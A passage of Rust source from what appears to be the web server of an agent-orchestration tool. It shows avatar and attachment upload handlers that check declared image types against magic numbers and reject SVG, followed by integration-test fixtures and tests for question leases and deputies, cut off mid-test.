10890    format!(
10891        "/avatars/magi?v={}",
10892        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10893    )
10894}
10895
10896async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10897    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10898}
10899
10900#[derive(Deserialize)]
10901struct MagiIconUpload {
10902    icon: String,
10903}
10904
10905fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10906    save_icon_file(&magi_icon_path(home), icon)
10907}
10908
10909fn validate_uploaded_icon(icon: &str) -> Result<()> {
10910    if !icon.starts_with("data:") {
10911        anyhow::bail!("upload a raster image");
10912    }
10913    let (mime, bytes) = persona_icon::load(icon)?;
10914    if sniffed_mime(&bytes) != Some(mime) {
10915        anyhow::bail!("image content does not match its type");
10916    }
10917    Ok(())
10918}
10919
10920fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10921    validate_uploaded_icon(icon)?;
10922    atomic_icon_write(path, icon)
10923}
10924
10925fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10926    let home = path.parent().expect("icon parent");
10927    std::fs::create_dir_all(home)?;
10928    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10929    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10930    let result = (|| -> Result<()> {
10931        use std::io::Write;
10932        let mut file = std::fs::OpenOptions::new()
10933            .write(true)
10934            .create_new(true)
10935            .open(&temp)?;
10936        file.write_all(icon.as_bytes())?;
10937        file.sync_all()?;
10938        std::fs::rename(&temp, path)?;
10939        Ok(())
10940    })();
10941    let _ = std::fs::remove_file(temp);
10942    result?;
10943    Ok(())
10944}
10945
10946async fn magi_icon_put(
10947    State(ui): State<Arc<Ui>>,
10948    Json(upload): Json<MagiIconUpload>,
10949) -> ApiResult<Json<serde_json::Value>> {
10950    blocking(move || {
10951        if !upload.icon.starts_with("data:") {
10952            return Err(ApiError::bad_request("upload a raster image"));
10953        }
10954        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10955        if sniffed_mime(&bytes) != Some(mime) {
10956            return Err(ApiError::bad_request(
10957                "image content does not match its type",
10958            ));
10959        }
10960        save_magi_icon(&ui.home, &upload.icon)?;
10961        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10962    })
10963    .await
10964}
10965
10966async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10967    blocking(move || {
10968        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10969            Ok(()) => (),
10970            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10971            Err(e) => return Err(anyhow::Error::from(e).into()),
10972        }
10973        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10974    })
10975    .await
10976}
10977
10978async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10979    let icon = (q.builtin.is_none())
10980        .then(|| read_magi_icon(&ui.home))
10981        .flatten();
10982    let mut response = match icon
10983        .as_deref()
10984        .and_then(|icon| persona_icon::load(icon).ok())
10985    {
10986        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10987            attachment_response(mime, bytes)
10988        }
10989        _ => svg_avatar(persona_icon::magi_svg()),
10990    };
10991    response
10992        .headers_mut()
10993        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10994    response
10995}
10996
10997/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10998/// operator's raster `icon` when it resolves and its bytes agree with its
10999/// type, the built-in SVG otherwise. Display only; every failure is a warning
11000/// and the built-in avatar, never an error response.
11001async fn talk_avatar(
11002    State(ui): State<Arc<Ui>>,
11003    Path(id): Path<String>,
11004    Query(q): Query<AvatarQuery>,
11005) -> ApiResult<Response> {
11006    blocking(move || {
11007        let id = resolve_talk(&ui.talks, &id)?;
11008        let talk = ui.talks.get(&id)?;
11009        let wanted = q
11010            .persona
11011            .as_deref()
11012            .map(str::trim)
11013            .filter(|p| !p.is_empty())
11014            .unwrap_or(&talk.persona)
11015            .to_owned();
11016        let specs = match Config::discover(&talk.repo, None) {
11017            Ok((cfg, _)) => cfg.talk.personas,
11018            Err(e) => {
11019                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
11020                Vec::new()
11021            }
11022        };
11023        let found = persona::find(&specs, &wanted);
11024        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
11025        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
11026        let icon = effective_persona_icon(
11027            &ui.home,
11028            &wanted,
11029            found.as_ref().and_then(|p| p.icon.as_deref()),
11030        );
11031        if found.is_none() && icon.is_none() {
11032            return Ok(builtin_avatar(persona::DEFAULT_ID));
11033        }
11034        let Some(icon) = icon
11035            .as_deref()
11036            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
11037        else {
11038            return Ok(builtin_avatar(&wanted));
11039        };
11040        let Some(found) = found else {
11041            return Ok(raster_or_builtin(
11042                Some(icon),
11043                persona_icon::builtin_svg(&wanted),
11044            ));
11045        };
11046        match persona_icon::load(icon) {
11047            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11048                let mut res = attachment_response(mime, bytes);
11049                res.headers_mut().insert(
11050                    header::CACHE_CONTROL,
11051                    header::HeaderValue::from_static("no-cache"),
11052                );
11053                Ok(res)
11054            }
11055            Ok((mime, _)) => {
11056                tracing::warn!(
11057                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
11058                    found.id
11059                );
11060                Ok(builtin_avatar(&found.id))
11061            }
11062            Err(e) => {
11063                tracing::warn!(
11064                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11065                    found.id
11066                );
11067                Ok(builtin_avatar(&found.id))
11068            }
11069        }
11070    })
11071    .await
11072}
11073
11074/// Validate an attachment upload's declared `Content-Type` and the bytes
11075/// themselves, returning the canonical mime on success.
11076///
11077/// Two checks, both required: the header has to name one of
11078/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
11079/// simply never in the list, active content rather than a picture, the same
11080/// exclusion [`asset_content_type`]'s doc explains), and the file's own
11081/// magic number has to agree. The second is what stops a mislabeled upload -
11082/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
11083/// a declared type is a claim, not a fact, so it is never trusted alone.
11084fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11085    if data.len() > ATTACHMENT_MAX_BYTES {
11086        return Err(ApiError::bad_request(format!(
11087            "attachment is {} bytes, over the {} MiB limit",
11088            data.len(),
11089            ATTACHMENT_MAX_BYTES / (1024 * 1024)
11090        ))
11091        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11092    }
11093    if data.is_empty() {
11094        return Err(ApiError::bad_request("attachment is empty"));
11095    }
11096    let declared = declared_mime(headers)?;
11097    match sniffed_mime(data) {
11098        Some(sniffed) if sniffed == declared => Ok(declared),
11099        Some(sniffed) => Err(ApiError::bad_request(format!(
11100            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11101        ))),
11102        None => Err(ApiError::bad_request(
11103            "the file's bytes do not match any accepted image format",
11104        )),
11105    }
11106}
11107
11108/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
11109/// and nothing else - parameters like `; charset=` are stripped, but the
11110/// value itself is not otherwise interpreted.
11111fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11112    let raw = headers
11113        .get(header::CONTENT_TYPE)
11114        .and_then(|v| v.to_str().ok())
11115        .unwrap_or("")
11116        .split(';')
11117        .next()
11118        .unwrap_or("")
11119        .trim()
11120        .to_ascii_lowercase();
11121    ATTACHMENT_MIME_WHITELIST
11122        .iter()
11123        .find(|&&m| m == raw)
11124        .copied()
11125        .ok_or_else(|| {
11126            if raw == "image/svg+xml" {
11127                ApiError::bad_request(
11128                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
11129                     not just a picture",
11130                )
11131            } else if raw.is_empty() {
11132                ApiError::bad_request("Content-Type is required for an attachment upload")
11133            } else {
11134                ApiError::bad_request(format!(
11135                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11136                     image/gif or image/webp"
11137                ))
11138            }
11139        })
11140}
11141
11142/// Identify an image by its magic number, independent of whatever
11143/// `Content-Type` claimed.
11144fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11145    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11146        Some("image/png")
11147    } else if data.starts_with(b"\xff\xd8\xff") {
11148        Some("image/jpeg")
11149    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11150        Some("image/gif")
11151    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11152        Some("image/webp")
11153    } else {
11154        None
11155    }
11156}
11157
11158/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
11159/// display - see [`talk::Attachment::name`]'s doc on why it never
11160/// contributes to a path. A missing or blank header (curl without it, an
11161/// older front end) falls back to a generic name rather than refusing the
11162/// upload over a field that is cosmetic.
11163fn filename_header(headers: &HeaderMap) -> String {
11164    headers
11165        .get(FILENAME_HEADER)
11166        .and_then(|v| v.to_str().ok())
11167        .map(str::trim)
11168        .filter(|s| !s.is_empty())
11169        .unwrap_or("attachment")
11170        .to_owned()
11171}
11172
11173/// Every attachment `GET` response: the mime re-validated against the same
11174/// closed whitelist the upload route enforces - never the string trusted
11175/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
11176/// cannot decide it knows better than the type we send. Unlike a panel asset
11177/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
11178/// document renders inline, not agent-authored HTML in a sandboxed frame.
11179fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11180    let content_type = ATTACHMENT_MIME_WHITELIST
11181        .iter()
11182        .find(|&&m| m == mime)
11183        .copied()
11184        .unwrap_or("application/octet-stream");
11185    (
11186        [
11187            (header::CONTENT_TYPE, content_type),
11188            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11189        ],
11190        body,
11191    )
11192        .into_response()
11193}
11194
11195/// The configuration for a repository, read off the disk for this request.
11196///
11197/// Through [`blocking`] because discovery reads and merges several TOML files,
11198/// and because the alternative - caching it in [`Ui`] at startup - would mean
11199/// the operator's phone kept interviewing with a roster they had already
11200/// changed, with no way to reload it but restarting the server they are not
11201/// sitting in front of.
11202async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11203    let repo = repo.to_path_buf();
11204    blocking(move || {
11205        let (cfg, _) = Config::discover(&repo, None)?;
11206        Ok(cfg)
11207    })
11208    .await
11209}
11210
11211/// The one prefix rule, used for both runs and tasks: a leading match for a
11212/// full id, a trailing match for the short form an operator reads off a
11213/// report. Written here rather than borrowed from `queue::resolve_id` because
11214/// the UI needs the two failures as different status codes, and telling them
11215/// apart from an error message is not something to build a route on.
11216fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11217    let mut hits = ids
11218        .into_iter()
11219        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11220    match (hits.next(), hits.next()) {
11221        (Some(one), None) => Ok(one),
11222        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11223        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11224            "`{prefix}` matches more than one {what}, including {a} and {b}"
11225        ))),
11226    }
11227}
11228
11229#[cfg(test)]
11230mod tests {
11231
11232    #[test]
11233    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11234        let dir = tempfile::tempdir().unwrap();
11235        let store = ask::Questions::at(dir.path().join("questions"));
11236        let mut q = Question::new(
11237            "task".to_owned(),
11238            "conduct".to_owned(),
11239            "conduct".to_owned(),
11240            "choose".to_owned(),
11241            String::new(),
11242            vec!["keep".to_owned()],
11243        );
11244        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11245        q.say("why?").unwrap();
11246        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11247        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11248        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11249        store.put(&mut q).unwrap();
11250        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11251        assert_eq!(store.count_needs_owner(), 1);
11252        store.beat(&q.id, ask::WaiterKind::Deputy);
11253        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11254        assert_eq!(store.count_needs_owner(), 0);
11255        let mut stale = store.read_lease(&q.id).unwrap();
11256        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11257        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11258        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11259        assert!(view.deputy_exhausted);
11260        assert!(view.waiting_on_agent);
11261        assert_eq!(view.question.choices, ["keep"]);
11262        store.drop_lease(&q.id);
11263        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11264        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11265    }
11266
11267    #[test]
11268    fn holder_reads_the_lease_not_the_record() {
11269        let mut q = Question::new(
11270            "run".to_owned(),
11271            "implement".to_owned(),
11272            "impl-A".to_owned(),
11273            "which?".to_owned(),
11274            String::new(),
11275            Vec::new(),
11276        );
11277        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11278        q.cwd = Some("/tmp".to_owned());
11279        assert_eq!(holder_of(&q, None), Some("nobody"));
11280        let beat = |kind, ago: i64| ask::Lease {
11281            kind,
11282            pid: 1,
11283            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11284                .unwrap(),
11285        };
11286        let fresh = beat(ask::WaiterKind::Asker, 1);
11287        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11288        let daemon = beat(ask::WaiterKind::Daemon, 1);
11289        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11290        let stale = beat(ask::WaiterKind::Asker, 3600);
11291        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11292
11293        // A conductor question says "deputy" only while one is attached and
11294        // alive, and "nobody" - never silence - when nothing ever listened.
11295        let mut c = Question::new(
11296            "task".to_owned(),
11297            crate::conduct::NODE.to_owned(),
11298            "conduct".to_owned(),
11299            "which?".to_owned(),
11300            String::new(),
11301            Vec::new(),
11302        );
11303        assert_eq!(holder_of(&c, None), Some("nobody"));
11304        c.cwd = Some("/tmp".to_owned());
11305        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11306        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11307        let deputy = beat(ask::WaiterKind::Deputy, 1);
11308        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11309        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11310
11311        // A release-watch question: nobody until a deputy is attached.
11312        let mut r = Question::new(
11313            String::new(),
11314            crate::bump::NOTICE_NODE.to_owned(),
11315            "release-watch".to_owned(),
11316            "stuck?".to_owned(),
11317            String::new(),
11318            vec!["hold".to_owned()],
11319        );
11320        assert_eq!(holder_of(&r, None), Some("nobody"));
11321        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11322        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11323        // A choice-less bump notice is nobody's question at all.
11324        r.deputy = None;
11325        r.seat = "bump".to_owned();
11326        assert_eq!(holder_of(&r, None), None);
11327
11328        // A merge approval is the same: nobody until a deputy is attached
11329        // and alive, never a silent "no holder".
11330        let mut m = Question::new(
11331            "run".to_owned(),
11332            crate::land::APPROVAL_NODE.to_owned(),
11333            "land".to_owned(),
11334            "merge?".to_owned(),
11335            String::new(),
11336            Vec::new(),
11337        );
11338        assert_eq!(holder_of(&m, None), Some("nobody"));
11339        assert_eq!(
11340            holder_of(&m, Some(&fresh)),
11341            Some("asker"),
11342            "a live explicit wait is a listener even before a deputy is attached"
11343        );
11344        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11345        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11346        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11347        assert_eq!(holder_of(&m, None), Some("nobody"));
11348    }
11349
11350    fn stub_config() -> Config {
11351        // An explicit roster, so the result never depends on which agent CLIs
11352        // this machine has installed.
11353        Config {
11354            agents: vec![crate::config::AgentSpec {
11355                id: "stub".to_owned(),
11356                kind: AgentKind::Command,
11357                model: None,
11358                command: vec!["true".to_owned()],
11359                extra_args: Vec::new(),
11360                env: Default::default(),
11361                prompt_delivery: None,
11362                max_turn_secs: None,
11363            }],
11364            ..Config::default()
11365        }
11366    }
11367
11368    fn plain_question(seat: &str) -> Question {
11369        Question::new(
11370            String::new(),
11371            "n".to_owned(),
11372            seat.to_owned(),
11373            "s".to_owned(),
11374            String::new(),
11375            Vec::new(),
11376        )
11377    }
11378
11379    #[test]
11380    fn deputies_enabled_follows_the_config() {
11381        let on = stub_config();
11382        assert!(crate::deputy::can_start(Some(&on), ""));
11383        assert!(crate::deputy::can_start(Some(&on), "stub"));
11384        let mut off = on.clone();
11385        off.daemon.max_deputies = 0;
11386        assert!(!crate::deputy::can_start(Some(&off), ""));
11387        let mut empty = on;
11388        empty.agents.clear();
11389        assert!(!crate::deputy::can_start(Some(&empty), ""));
11390        assert!(!crate::deputy::can_start(None, ""));
11391    }
11392
11393    #[test]
11394    fn question_views_load_the_config_once() {
11395        let dir = TempDir::new().unwrap();
11396        let store = ask::Questions::at(dir.path().to_path_buf());
11397        let mut with_deputy = plain_question("b");
11398        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11399        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11400
11401        let calls = std::cell::Cell::new(0usize);
11402        let views = question_views(qs.clone(), &store, || {
11403            calls.set(calls.get() + 1);
11404            Some(stub_config())
11405        });
11406        assert_eq!(calls.get(), 1);
11407        assert_eq!(views.len(), 3);
11408        for (v, q) in views.iter().zip(&qs) {
11409            assert_eq!(
11410                v.deputies_enabled,
11411                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11412            );
11413        }
11414
11415        let views = question_views(qs, &store, || None);
11416        assert!(views.iter().all(|v| !v.deputies_enabled));
11417
11418        let calls = std::cell::Cell::new(0usize);
11419        let views = question_views(Vec::new(), &store, || {
11420            calls.set(calls.get() + 1);
11421            None
11422        });
11423        assert!(views.is_empty());
11424        assert_eq!(calls.get(), 0);
11425    }
11426
11427    use pretty_assertions::assert_eq;
11428    use serde_json::Value;
11429    use tempfile::TempDir;
11430    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11431
11432    use super::*;
11433    use crate::config::Config;
11434    use crate::queue::Source;
11435
11436    /// How many 10ms steps a settle loop takes before it calls a stall a
11437    /// stall - thirty seconds.
11438    ///
11439    /// These loops wait on real `sh` subprocesses, and the machine that runs
11440    /// the gate runs several suites at once, so a two-second budget was not
11441    /// waiting for the reply, it was racing the scheduler: two of these
11442    /// tests failed under that load with the turn simply not landed yet.
11443    /// This is a hang guard, not a latency assertion - every loop breaks the
11444    /// moment its condition holds, so a generous cap costs an idle machine
11445    /// nothing and still fails a genuine hang instead of hanging the suite.
11446    const SETTLE_STEPS: usize = 3_000;
11447
11448    /// A home with a queue and a runs directory, and a router serving it on
11449    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11450    /// dependency, not ours - so the tests drive a real socket, which has the
11451    /// side benefit of asserting the status line and content types the phone
11452    /// actually receives.
11453    struct Fixture {
11454        home: TempDir,
11455        addr: SocketAddr,
11456    }
11457
11458    impl Fixture {
11459        async fn start() -> Self {
11460            Self::with_loop(launch_idle).await
11461        }
11462
11463        /// A fixture whose loop is `launch`.
11464        async fn with_loop(launch: Launch) -> Self {
11465            let home = TempDir::new().expect("temp home");
11466            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11467            Self { home, addr }
11468        }
11469
11470        /// A fixture whose `ui.repo` is a real directory rather than the
11471        /// usual placeholder - for the routes that read config off it
11472        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11473        async fn with_repo(repo: PathBuf) -> Self {
11474            let home = TempDir::new().expect("temp home");
11475            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11476            Self { home, addr }
11477        }
11478
11479        /// As [`Fixture::with_repo`], with the machine-config file the
11480        /// settings screen reads and writes.
11481        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11482            let home = TempDir::new().expect("temp home");
11483            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11484            Self { home, addr }
11485        }
11486
11487        async fn serve(
11488            home: &FsPath,
11489            repo: PathBuf,
11490            launch: Launch,
11491            machine: Option<PathBuf>,
11492        ) -> SocketAddr {
11493            let queue = Queue::at(home.join("queue"));
11494            let runs = home.join("runs");
11495            std::fs::create_dir_all(&runs).expect("runs dir");
11496            let worktrees = home.join("wt").join("magi");
11497            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11498            let ui = Ui::new(
11499                queue,
11500                Questions::at(home.join("questions")),
11501                Talks::at(home.join("talks")),
11502                runs,
11503                home.to_path_buf(),
11504                repo,
11505            )
11506            .with_worktrees_root(worktrees)
11507            .with_machine_config(machine)
11508            .with_launch(launch);
11509            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11510                .await
11511                .expect("bind loopback");
11512            let addr = listener.local_addr().expect("local addr");
11513            tokio::spawn(async move {
11514                let router = ui
11515                    .router()
11516                    .layer(axum::middleware::from_fn(request_cost::observe));
11517                let _ = axum::serve(listener, router).await;
11518            });
11519            addr
11520        }
11521
11522        fn queue(&self) -> Queue {
11523            Queue::at(self.home.path().join("queue"))
11524        }
11525
11526        fn questions(&self) -> Questions {
11527            Questions::at(self.home.path().join("questions"))
11528        }
11529
11530        fn talks(&self) -> Talks {
11531            Talks::at(self.home.path().join("talks"))
11532        }
11533
11534        fn runs(&self) -> PathBuf {
11535            self.home.path().join("runs")
11536        }
11537
11538        async fn get(&self, path: &str) -> Res {
11539            request(self.addr, "GET", path, None).await
11540        }
11541
11542        /// The status and headers without the body, which is how the front end
11543        /// preflights a panel: a sandboxed frame is opaque to the parent
11544        /// document, so the only way to tell "no panel" from "a panel that
11545        /// rendered blank" is to ask before mounting.
11546        async fn head(&self, path: &str) -> Res {
11547            request(self.addr, "HEAD", path, None).await
11548        }
11549
11550        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11551            request(self.addr, "POST", path, body).await
11552        }
11553
11554        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11555            request_with(self.addr, "GET", path, None, extra).await
11556        }
11557
11558        async fn delete(&self, path: &str) -> Res {
11559            request(self.addr, "DELETE", path, None).await
11560        }
11561
11562        async fn put(&self, path: &str, body: &str) -> Res {
11563            request(self.addr, "PUT", path, Some(body)).await
11564        }
11565
11566        /// `POST` a raw body with its own headers - see [`request_bytes`].
11567        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11568            request_bytes(self.addr, path, headers, body).await
11569        }
11570    }
11571
11572    /// Real tracking refs exercise the successful discovery path (including
11573    /// extraction), rather than counting cheap failures on a placeholder repo.
11574    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11575        let tmp = TempDir::new().unwrap();
11576        let mut repos = Vec::new();
11577        for name in ["one", "two"] {
11578            let repo = tmp.path().join(name);
11579            let origin = tmp.path().join(format!("{name}.git"));
11580            std::fs::create_dir_all(&repo).unwrap();
11581            crate::git::git(&repo, &["init", "-b", "main"])
11582                .await
11583                .unwrap();
11584            std::fs::write(
11585                repo.join("magi.toml"),
11586                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11587            )
11588            .unwrap();
11589            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11590            crate::git::git(
11591                &repo,
11592                &[
11593                    "-c",
11594                    "user.name=fixture",
11595                    "-c",
11596                    "user.email=fixture@example.invalid",
11597                    "commit",
11598                    "-m",
11599                    "fixture",
11600                ],
11601            )
11602            .await
11603            .unwrap();
11604            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11605                .await
11606                .unwrap();
11607            crate::git::git(
11608                &repo,
11609                &["remote", "add", "origin", origin.to_str().unwrap()],
11610            )
11611            .await
11612            .unwrap();
11613            crate::git::git(&repo, &["push", "origin", "main"])
11614                .await
11615                .unwrap();
11616            crate::git::git(
11617                &repo,
11618                &[
11619                    "symbolic-ref",
11620                    "refs/remotes/origin/HEAD",
11621                    "refs/remotes/origin/main",
11622                ],
11623            )
11624            .await
11625            .unwrap();
11626            let (cfg, _) = Config::discover(&repo, None).unwrap();
11627            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11628            repos.push(repo);
11629        }
11630        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11631        (tmp, repos)
11632    }
11633
11634    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11635        let (tmp, repos) = performance_repositories().await;
11636        let machine = tmp.path().join("machine.toml");
11637        std::fs::write(&machine, "").unwrap();
11638        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11639        (tmp, repos, fx)
11640    }
11641
11642    fn seed_performance(
11643        fx: &Fixture,
11644        repos: &[PathBuf; 2],
11645        questions: usize,
11646        runs: usize,
11647        items: usize,
11648    ) {
11649        // Saving states directly never starts a run or changes MAGI_HOME.
11650        for i in fx.questions().list().len()..questions {
11651            let mut question = Question::new(
11652                "20261001-000000-0000".into(),
11653                "implement".into(),
11654                "impl-A".into(),
11655                format!("question {i}"),
11656                "context".into(),
11657                vec!["yes".into(), "no".into()],
11658            );
11659            question.id = format!("20261003-000000-{i:04x}");
11660            fx.questions().put(&mut question).unwrap();
11661        }
11662        for i in run_ids(&fx.runs()).len()..runs {
11663            write_run_repo(
11664                &fx.runs(),
11665                &format!("20261001-000000-{i:04x}"),
11666                RunStatus::Ready,
11667                repos[i % 2].to_str().unwrap(),
11668            );
11669        }
11670        for i in fx.talks().list().len()..items {
11671            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11672            let mut talk = fx.talks().get(&id).unwrap();
11673            talk.repo = repos[i % 2].clone();
11674            fx.talks().put(&mut talk).unwrap();
11675            let mut task = crate::queue::Task::new(
11676                format!("task {i}"),
11677                "instruction".into(),
11678                repos[i % 2].clone(),
11679                crate::queue::Source::Agent {
11680                    run: id,
11681                    node: crate::queue::CHAT_NODE.into(),
11682                },
11683            );
11684            task.id = format!("20261004-000000-{i:04x}");
11685            fx.queue().put(&mut task).unwrap();
11686            // Notices has a production retention cap; seed up to that cap.
11687            if i < crate::notices::CAP {
11688                Notices::at(fx.home.path().join("notifications"))
11689                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11690                    .unwrap();
11691            }
11692        }
11693        assert_eq!(fx.questions().list().len(), questions);
11694        assert_eq!(run_ids(&fx.runs()).len(), runs);
11695        assert_eq!(fx.talks().list().len(), items);
11696        assert_eq!(fx.queue().list().len(), items);
11697        assert_eq!(
11698            Notices::at(fx.home.path().join("notifications"))
11699                .list()
11700                .len(),
11701            items.min(crate::notices::CAP)
11702        );
11703    }
11704
11705    #[tokio::test]
11706    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11707        let home = TempDir::new().unwrap();
11708        let root = home.path().canonicalize().unwrap();
11709        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11710        let fx = Fixture { home, addr };
11711        let repo = root.as_path().join("archive-repo");
11712        std::fs::create_dir(&repo).unwrap();
11713        crate::git::git(&repo, &["init", "-b", "main"])
11714            .await
11715            .unwrap();
11716        crate::git::git(&repo, &["config", "user.name", "Fixture"])
11717            .await
11718            .unwrap();
11719        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11720            .await
11721            .unwrap();
11722        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11723            .await
11724            .unwrap();
11725        std::fs::write(repo.join("source"), "base").unwrap();
11726        crate::git::git(&repo, &["add", "."]).await.unwrap();
11727        crate::git::git(&repo, &["commit", "-m", "base"])
11728            .await
11729            .unwrap();
11730        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11731        std::fs::write(repo.join("source"), "archived review").unwrap();
11732        crate::git::git(&repo, &["commit", "-am", "review"])
11733            .await
11734            .unwrap();
11735        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11736        let mut config = Config::default();
11737        config.graph.worktree_root = Some(root.as_path().join("copies"));
11738        let mut state = RunState::new(
11739            repo.clone(),
11740            "main".into(),
11741            base.clone(),
11742            "archive".into(),
11743            config,
11744        );
11745        state.id = "20260101-000000-ef05".into();
11746        state.status = RunStatus::Ready;
11747        state.save_under(root.as_path()).unwrap();
11748        let evidence =
11749            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11750                .await
11751                .unwrap();
11752        let base_evidence =
11753            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11754                .await
11755                .unwrap();
11756        let source = state.worktree_root().join("review-1");
11757        let mut contents = std::collections::BTreeMap::new();
11758        contents.insert(
11759            repo.join("logs/HEAD"),
11760            format!("{base} {head} fixture\n").into_bytes(),
11761        );
11762        let record = serde_json::json!({
11763            "version":1, "run":state.id, "source":source, "head":head,
11764            "evidence":evidence, "admin":{}, "admin_contents":contents,
